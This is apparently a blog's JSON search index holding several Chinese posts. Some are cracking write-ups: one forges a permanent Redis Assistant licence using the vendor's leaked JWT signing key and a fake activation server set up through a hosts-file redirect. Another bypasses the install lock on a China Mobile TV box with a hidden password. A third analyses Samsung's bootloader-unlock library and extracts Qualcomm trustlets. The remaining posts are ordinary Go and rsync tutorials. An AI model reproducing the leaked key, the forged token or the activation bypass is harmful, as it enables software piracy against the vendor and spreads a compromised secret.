由上面的代码可以看出使用了Log.d输出流log信息，可以使用logcat进行过滤判断getCustomBinStatusFlag()函数返回的状态信息。使用adb shell连接，然后执行logcat | grep \u0026quot;LibKwb.getCustomBinStatusFlag()\u0026quot;过滤特定的内容，然后打开应用等待输出内容 这里可以看得到直接返回了状态信息为1，所以应用只能提示已解锁了，不会进行到解锁的步骤中。\nSO库分析 这里使用了Ghidra进行分析，libkwb.so文件加载还需要几个其他的so库文件依赖。所依赖的so文件有：libc.so、libcrypto.so、libdl.so、liblog.so、libm.so、libQSEEComAPI.so、libstdc++.so 除了libQSEEComAPI.so在/system/vendor/lib/中，其他的so库文件都可在/system/lib/中找到 这几个so文件都pull到本地，添加到项目中进行分析 在Functions中可以找到对应的函数Java_com_sec_android_lib_kwb_LibKwb_getCustomBinStatusFlag 进行Decompile可以发现只有getRPMBFlag()函数 进入getRPMBFlag()函数 里面又引用了FUN_0011940()函数 在FUN_00011940()函数中先对FUN_00011cc4()函数的返回值进行判断，如果为0就执行FUN_00011dec()函数重赋值给iVar1，然后执行FUN_00011d28()函数 先进入FUN_00011cc4()函数内进行查看 进FUN_00011ebc()函数，发现主要是设置uid等权限的 在38行有打开/data/kwb文件的操作 用adb进行查看，发现该文件为0大小 并没什么作用。\n退出，跟进到FUN_00011c30()函数中 启动的什么app，对此作用不大。 继续退出，在FUN_00011cc4()函数的17行中发现了点希望。 对FUN_000120fc()返回值进行判断，如果返回值不为0就说明解锁失败，那就继续跟进FUN_000120fc()吧 对DAT_00019890进行比较，如果大于-1就flock(DAT_00019890,8)对于flock搜了下 flock相当于文件锁。\n解锁总结 原理是通过加载so库判断是否已解锁，未解锁就会发送解锁请求给服务器，服务器返回解锁token，so库对token进行验证，如果通过就会启动高通的QSEECOM接口进行解锁操作。故此操作不可逆。\n另类绕过（不可行） 因为我是Android 5.0.2通过漏洞或者kingoroot等软件可以进行root，所以进入adb shell中使用echo 1 \u0026gt; /data/kwb并使用busybox chattr +i /data/kwb强制锁定该文件，不让他为空。 这时打开CROM Serviceapp应用就会看到解锁提示 点击确认前需要执行busybox chattr -i kwb解锁文件写入操作。 高通接口解锁 网上有篇文章分析了高通的接口以及如何提取的方法。参考链接 mclf loader 提取脚本:\nimport sys, os, struct def main(): #Reading the arguments if len(sys.argv) != 4: print(\u0026#34;USAGE: \u0026lt;TRUSTLET_DIR\u0026gt; \u0026lt;TRUSTLET_NAME\u0026gt; \u0026lt;OUTPUT_FILE_PATH\u0026gt;\u0026#34;) return trustlet_dir = sys.argv[1] trustlet_name = sys.argv[2] output_file_path = sys.argv[3] bitness = 32 ELF_HEADER_SIZE = 0x34 E_PHNUM_OFFSET = 0x2C PHDR_SIZE = 0x20 P_FILESZ_OFFSET = 0x10 P_OFFSET_OFFSET = 0x4 #Reading the ELF header from the \u0026#34;.mdt\u0026#34; file mdt = open(os.path.join(trustlet_dir, \u0026#34;%s.mdt\u0026#34; % trustlet_name), \u0026#34;rb\u0026#34;) elf_header = mdt.read(ELF_HEADER_SIZE) phnum = struct.unpack(\u0026#34;\u0026lt;H\u0026#34;, elf_header[E_PHNUM_OFFSET:E_PHNUM_OFFSET+2])[0] print(\u0026#34;[+] Found %d program headers\u0026#34; % phnum) #Reading each of the program headers and copying the relevant chunk output_file = open(output_file_path, \u0026#39;wb\u0026#39;) for i in range(0, phnum): #Reading the PHDR print(\u0026#34;[+] Reading PHDR %d\u0026#34; % i) phdr = mdt.read(PHDR_SIZE) p_filesz = struct.unpack(\u0026#34;\u0026lt;I\u0026#34;, phdr[P_FILESZ_OFFSET:P_FILESZ_OFFSET+4])[0] p_offset= struct.unpack(\u0026#34;\u0026lt;I\u0026#34;, phdr[P_OFFSET_OFFSET:P_OFFSET_OFFSET+4])[0] print(\u0026#34;[+] Size: 0x%08X, Offset: 0x%08X\u0026#34; % (p_filesz, p_offset)) if p_filesz == 0: print(\u0026#34;[+] Empty block, skipping\u0026#34;) continue #There\u0026#39;s no backing block #Copying out the data in the block block = open(os.path.join(trustlet_dir, \u0026#34;%s.b%02d\u0026#34; % (trustlet_name, i)), \u0026#39;rb\u0026#39;).read() output_file.seek(p_offset, 0) output_file.write(block) mdt.close() output_file.close() def parse_DER(): trustlet_dir = sys.argv[1] trustlet_name = sys.argv[2] mdt = open(os.path.join(trustlet_dir, \u0026#34;%s.mdt\u0026#34; % trustlet_name), \u0026#34;rb\u0026#34;) certs = mdt.read() certs_index = [] for i in range(0x34,len(certs)-5): if certs[i] == \u0026#39;\\x30\u0026#39; and certs[i+1] == \u0026#39;\\x82\u0026#39; and certs[i+4] == \u0026#39;\\x30\u0026#39; and certs[i+5] == \u0026#39;\\x82\u0026#39;: certs_index.append(i) certs_index.append(len(certs)) print(certs_index) for i in range(len(certs_index)-1): start = certs_index[i] end = certs_index[i+1] certname = \u0026#34;cert_\u0026#34;+str(start)+\u0026#34;.der\u0026#34; print(certname) open(certname,\u0026#39;wb\u0026#39;).write(bytes(certs[start : end])) if __name__ == \u0026#34;__main__\u0026#34;: main() parse_DER() 提取出的文件为去符号的elf文件 所以要添加符号表。网上有恢复符号表的脚本，但是不太会用。。。\n到此为止吧😂😂😂\n","permalink":"https://synology.pub/post/samsung-crom-service%E8%A7%A3%E9%94%81%E5%88%86%E6%9E%90/","tags":["Android"],"title":"SAMSUNG CROM Service解锁分析"},{"categories":["破解"],"content":"官网地址 www.redisant.cn 说明 软件使用C#编写，未授权版本仅能创建一个服务器连接。软件收费不贵，永久才30元，如果有能力支持还是付费选择正版。\n文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 分析 定位关键点 通过软件的授权激活功能，发现随便输入内容就会弹出\u0026quot;激活失败\u0026quot;弹窗。使用dnspy进行反编译，全局搜索\u0026quot;激活失败\u0026quot;字符串。\n此处进行了授权判断： 跟进分析 首先使用jwt验证是否是正常授权，我们可以跟进CheckJwtToken方法查看。 可以跟进查看到他使用jwt的密钥key是jingchen39128371237287123974@qwe123chen\u0026amp;* 注意：这里使用的jwt和正常的有一点不同，这里jwt最后的sign是hex格式，不是常见的base64编码。 申请了一个月的试用授权，发过来的激活码为：(部分信息不予显示)\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhY3RpdmF0aW9uRGF0YSI6MTYzMTkzODA5NTY2MCwiaXNzIjoiUmVkaXMgxxxxxxxxxxxxxxxxxn0=.0E83xxxxxxxxxxE5E33E64B96 解码为这种形式：\nHeaders = { \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34;, \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34; } Payload = { \u0026#34;activationData\u0026#34;: 1631938095660, \u0026#34;iss\u0026#34;: \u0026#34;Redis Assistant\u0026#34;, \u0026#34;expireDate\u0026#34;: 4471948800000, \u0026#34;type\u0026#34;: 2, \u0026#34;email\u0026#34;: \u0026#34;xx\u0026#34;, \u0026#34;jti\u0026#34;: \u0026#34;uuid\u0026#34; } 生成授权 设置过期时间和type，当type为2即为永久授权，email可以随意写。使用 https://base64.us/ 在线生成payload 再使用 http://www.jsons.cn/allencrypt/ 在线HmacSHA256进行签名 再次用 https://www.bejson.com/convert/uplowercase/ 在线把小写转成大写 最后拼接在一起，最后的授权码为：\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhY3RpdmF0aW9uRGF0YSI6MTYzMTkzODA3NTEzMCwiaXNzIjoiUmVkaXMgQXNzaXN0YW50IiwiZXhwaXJlRGF0ZSI6NDQ3MTk0ODgwMDAwMCwidHlwZSI6MiwiZW1haWwiOiI1MuegtOinoyIsImp0aSI6ImE3ZDY2YmI1LTNmZTYtNGRjZC05YTg5LWYwMmFiMWFiNTE0NCJ9.52F607B15A316B32BF73294BB65E8AFF3B377D6DB992A5B2B0A1AA8196154DF5 hack联网验证 前面说的都是本地如何伪造生成，程序最终是要把这些信息进行联网验证的，怎么办？\n继续从开头看起： 程序会发送激活码（jwt信息）给在线服务器进行验证，当服务器返回0信息才会激活成功。\n起坛施法 修改本地hosts文件或者在自己dns服务器上设置一条这样的记录：\n\u0026lt;web服务器ip\u0026gt; www.redisant.cn 然后在web服务器根目录新建activate目录，在其目录下创建activateApp文件，内容写0。\ncat activate/activateApp 0 这样即可破解联网验证。\n成果图 最终效果：\n添加多台redis服务器： ","permalink":"https://synology.pub/post/crack-redis-assistant-tools/","tags":["C#","Redis","破解"],"title":"Redis Assistant管理工具破解"},{"categories":["破解"],"content":"固件 使用原厂固件\n方式 通过拆机连接TTL进行安装\n过程 0x0 设置开机启动adbd服务 通过TTL连接盒子会看到开机进度条有条提示:can not found: /system/bin/nginx_start.sh cd进入/system/bin目录进行查看，确实没有这个目录。为了最小化侵入，这里新建个nginx_start.sh文件，然后通过这个文件实现adbd开机自启动。写入文件信息：\necho \u0026#34;#!/system/bin/sh\\nsleep 10 \\nadbd \u0026amp;\u0026#34; \u0026gt; /system/bin/nginx_start.sh 写入完成后检查是否为如下配置\n#!/system/bin/sh sleep 10 adbd \u0026amp; 最后记得添加上可执行权限chmod 777 /system/bin/nginx_start.sh 然后重启盒子就能达到开机自启adbd服务的效果了。\n0x1 直接安装apk失败? 通过TTL连接到盒子，直接是root权限。使用盒子上的命令pm install \u0026lt;apk packages\u0026gt;直接返回应用为损毁软件提示。通过自带的浏览器和下载程序安装，桌面提示不能安装第三方应用。\n0x2 直接复制到data分区 因为是通过TTL连接，权限又是root，所以可以直接把包复制到/data/app/目录中。经过试验此方法可行，但是有些app不能实时在桌面或应用程序中找到，需要盒子重启后才行。\n0x3 反编译安装程序 没有办法，直接开启adbd服务，通过adb下载/system/app和/system/priv-app/目录下的apk程序进行反编译分析。\n在对SilenceInstaller.apk这个应用进行反编译时，找到了installService方法： 这里直接看重点，这个方法在经过判断大小等处理后直接执行了pm install 安装命令。与一般的安装命令不同的是它后面需要加上一个-m参数，这里先把它看成安装应用需要的密码。如果密码是0A5A0000就允许安装，否则不允许安装。到了这里，可以直接使用adb命令进行安装：pm install -m 0A5A0000 \u0026lt;apk packages\u0026gt; 测试安装了悟空遥控app，可以进行安装。\n0x4 跟进神秘的0A5A0000 通过查看发现pm是个脚本，内容为:\n# Script to start \u0026#34;pm\u0026#34; on the device, which has a very rudimentary # shell. # base=/system export CLASSPATH=$base/framework/pm.jar exec app_process $base/bin com.android.commands.pm.Pm \u0026#34;$@\u0026#34; 直接下载pm.jar，通过反编译进行查看。看runInstall方法，直接跳到885行： 进行了一次判断flag == 173670400通过python可以看出173670400的十六进制正是0A5A0000 ","permalink":"https://synology.pub/post/chinamobile-cm101s-crack/","tags":["移动盒子","安装apk"],"title":"移动盒子cm101s破解"},{"categories":["Go"],"content":"YAML 格式 YAML（YAML 不是标记语言）是一种人类可读的数据序列化语言。它通常用于配置文件，但也用于数据存储（例如调试输出）或传输（例如文档标题）。\nYAML 本身支持三种基本数据类型：标量（例如字符串、整数和浮点数）、列表和关联数组。\nYAML 文件的官方推荐文件扩展名是.yaml。\n获取yaml 包 该yaml包使 Go 程序能够轻松地对 YAML 值进行编码和解码。yaml 包支持大部分 YAML 1.1 和 1.2。go get gopkg.in/yaml.v3 此命令安装 yaml 包的第 3 版。\n示例 读取yaml配置文件指定的内容\nuser.yaml\nuser 1: name: John Doe occupation: gardener user 2: name: Lucy Black occupation: teacher user 3: name: Roger Roe occupation: driver 获取参数： read_users.go\nimport ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; \u0026#34;gopkg.in/yaml.v3\u0026#34; ) type User struct { Name string Occupation string } func main() { yfile, err := ioutil.ReadFile(\u0026#34;users.yaml\u0026#34;) if err != nil { log.Fatal(err) } data := make(map[string]User) err2 := yaml.Unmarshal(yfile, \u0026amp;data) if err2 != nil { log.Fatal(err2) } for k, v := range data { fmt.Printf(\u0026#34;%s: %s\\n\u0026#34;, k, v) } } 先创建一个结构体，然后定义一个map，从yaml中反序列化取值。\n实验 正在写的网站用到的yaml反序列化读取： app.yaml文件：\n# 数据库 database: host : \u0026#34;localhost\u0026#34; port : 3306 user : \u0026#34;root\u0026#34; password : \u0026#34;root\u0026#34; # qmtt配置 qmtt: host : \u0026#34;lo\u0026#34; port : 111 user : \u0026#34;xx\u0026#34; password : \u0026#34;ww\u0026#34; # 网站 web: # 网站标题 info: title : \u0026#34;xxx\u0026#34; port : 8000 # 后台登录 login: user : \u0026#34;admin\u0026#34; password : \u0026#34;password\u0026#34; jwtkey : \u0026#34;123456\u0026#34; timeout : 300 # 企业微信配置 wechat: corpid : \u0026#34;12\u0026#34; corpsecret : \u0026#34;34\u0026#34; # ip限制 ip: # 限制/允许 limit : \u0026#34;192.168.1.1/8\u0026#34; allow : \u0026#34;192.168.30.2\u0026#34; # 日志配置 debug: loglevel : \u0026#34;debug\u0026#34; # \u0026#34;disable\u0026#34; # \u0026#34;fatal\u0026#34; # \u0026#34;error\u0026#34; # \u0026#34;warn\u0026#34; # \u0026#34;info\u0026#34; # \u0026#34;debug\u0026#34; main.go文件信息:\npackage main import ( \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; \u0026#34;gopkg.in/yaml.v3\u0026#34; ) // yaml 配置文件的根 type ROOT struct { // 数据库配置 Database struct { Host string `yaml:\u0026#34;host\u0026#34;` User string `yaml:\u0026#34;user\u0026#34;` Password string `yaml:\u0026#34;password\u0026#34;` Port int `yaml:\u0026#34;port\u0026#34;` } // qmtt配置 Qmtt struct { Host string `yaml:\u0026#34;host\u0026#34;` User string `yaml:\u0026#34;user\u0026#34;` Password string `yaml:\u0026#34;password\u0026#34;` Port int `yaml:\u0026#34;port\u0026#34;` } // web相关配置根 Web struct { // 网站标题、端口 Info struct { Title string `yaml:\u0026#34;title\u0026#34;` Port int `yaml:\u0026#34;port\u0026#34;` } // 网站登录相关 Login struct { User string `yaml:\u0026#34;user\u0026#34;` Password string `yaml:\u0026#34;password\u0026#34;` Jwtkey string `yaml:\u0026#34;jwtkey\u0026#34;` Timeout int `yaml:\u0026#34;timeout\u0026#34;` } // 企业微信转发 Wechat struct { Corpid string `yaml:\u0026#34;corpid\u0026#34;` Corpsecret string `yaml:\u0026#34;corpsecret\u0026#34;` } // ip限制 Ip struct { Limit string `yaml:\u0026#34;limit\u0026#34;` Allow string `yaml:\u0026#34;allow\u0026#34;` } // 日志配置 Debug struct { LogLevel string `yaml:\u0026#34;loglevel\u0026#34;` } } } // 输入结构体，返回数据 func main() { // 读完不用手动关 f, err := ioutil.ReadFile(\u0026#34;app.yaml\u0026#34;) if err != nil { log.Fatalln(\u0026#34;Open Config Failed!\u0026#34;, err) } var root ROOT // 执行解析 err = yaml.Unmarshal([]byte(f), \u0026amp;root) if err != nil { log.Fatalf(\u0026#34;yaml unmarshal error: %v\u0026#34;, err) } log.Println(root) } 结果:\n参考 https://zetcode.com/golang/yaml/ ","permalink":"https://synology.pub/post/go-yaml/","tags":["读取yaml文件"],"title":"Go 读取Yaml文件"},{"categories":["Linux"],"content":"安装 使用apt install rsync命令一键安装rsync\n配置 创建/etc/rsyncd.conf配置文件，内容如下：\nuid = nobody gid = nobody use chroot = yes max connections = 4 pid file = /var/run/rsyncd.pid # 排除文件夹 exclude = lost+found/ transfer logging = yes timeout = 900 # 忽略不可读 ignore nonreadable = yes # 排除不压缩的为文件类型 dont compress = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2 motd file = /etc/rsyncd.motd log file = /var/log/rsyncd.log pid file = /var/run/rsyncd.pid lock file = /var/run/rsync.lock address = 0.0.0.0 port = 49381 [md-backup] path = /opt/makedown-backup comment = makedown data backup uid = nobody gid = nobody read only = no list = no auth users = backup secrets file = /etc/rsyncd.secrets 其中/etc/rsyncd.secrets文件权限设置成0600，内容为用户名:密码（每行一个）如：\ntest1:123456 backup:test123 注意:\nDebian 系统下没有nobody组，所以要把nobody修改成nogroup\n启动 使用service rsync restart或者systemctl enable rsync、systemctl start rsync设置开机自启动。用netstat -ant查看是否成功启动rsync服务： 客户端配置 从客户端同步到服务器: rsync --port=49381 --password-file=/opt/rsync.passwd -avcz /opt/www/webdav backup@1.2.3.4::md-backup\n","permalink":"https://synology.pub/post/linux-install-setup-rsync/","tags":["Rsync配置"],"title":"Debian/Ubuntu安装配置Rsync服务"},{"categories":["Go"],"content":"1.去除程序调试符号 编译过程中使用-ldflags '-s -w' -trimpath去掉调试符号。\n2.buildmode 编译过程中使用-buildmode=pie,生成地址无关的二进制文件(Go v1.6以后)。\nhttps://github.com/golang/go/issues/35192 https://fedoraproject.org/wiki/Changes/golang-buildmode-pie 此模式生成的程序使用反编译插件不能很好的对其反编译。\n3.竞争条件检测 只要在go build，go run或者go test命令后面加上-race的flag，就会使编译器创建一个你的应用的“修改”版或者一个附带了能够记录所有运行期对共享变量访问工具的test，并且会记录下每一个读或者写共享变量的goroutine的身份信息。另外，修改版的程序会记录下所有的同步事件，比如go语句，channel操作，以及对(*sync.Mutex).Lock，(*sync.WaitGroup).Wait等等的调用。（完整的同步事件集合是在The Go Memory Model文档中有说明，该文档是和语言文档放在一起的。译注：https://golang.org/ref/mem ） 竞争检查器会检查这些事件，会寻找在哪一个goroutine中出现了这样的case，例如其读或者写了一个共享变量，这个共享变量是被另一个goroutine在没有进行干预同步操作便直接写入的。这种情况也就表明了是对一个共享变量的并发访问，即数据竞争。这个工具会打印一份报告，内容包含变量身份，读取和写入的goroutine中活跃的函数的调用栈。这些信息在定位问题时通常很有用。\n在编译中加上-race 即可进行竞争条件检测，生成的程序体积会比不加此参数生成的程序体积大点，而且不能被upx程序压缩（使用 -9最大化压缩会运行报错）。\n注意: -race只能和-buildmode=pie二选一 打包对比 未作任何优化 优化混淆版本 ","permalink":"https://synology.pub/post/golang-build/","tags":["Go build","优化"],"title":"对Go打包程序进行“优化”、“混淆”"},{"categories":null,"content":"","permalink":"https://synology.pub/manifest.json","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.es/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.fr/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.hi/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.jp/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.pl/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.ru/","tags":null,"title":""},{"categories":null,"content":"","permalink":"https://synology.pub/search/_index.zh-cn/","tags":null,"title":""}]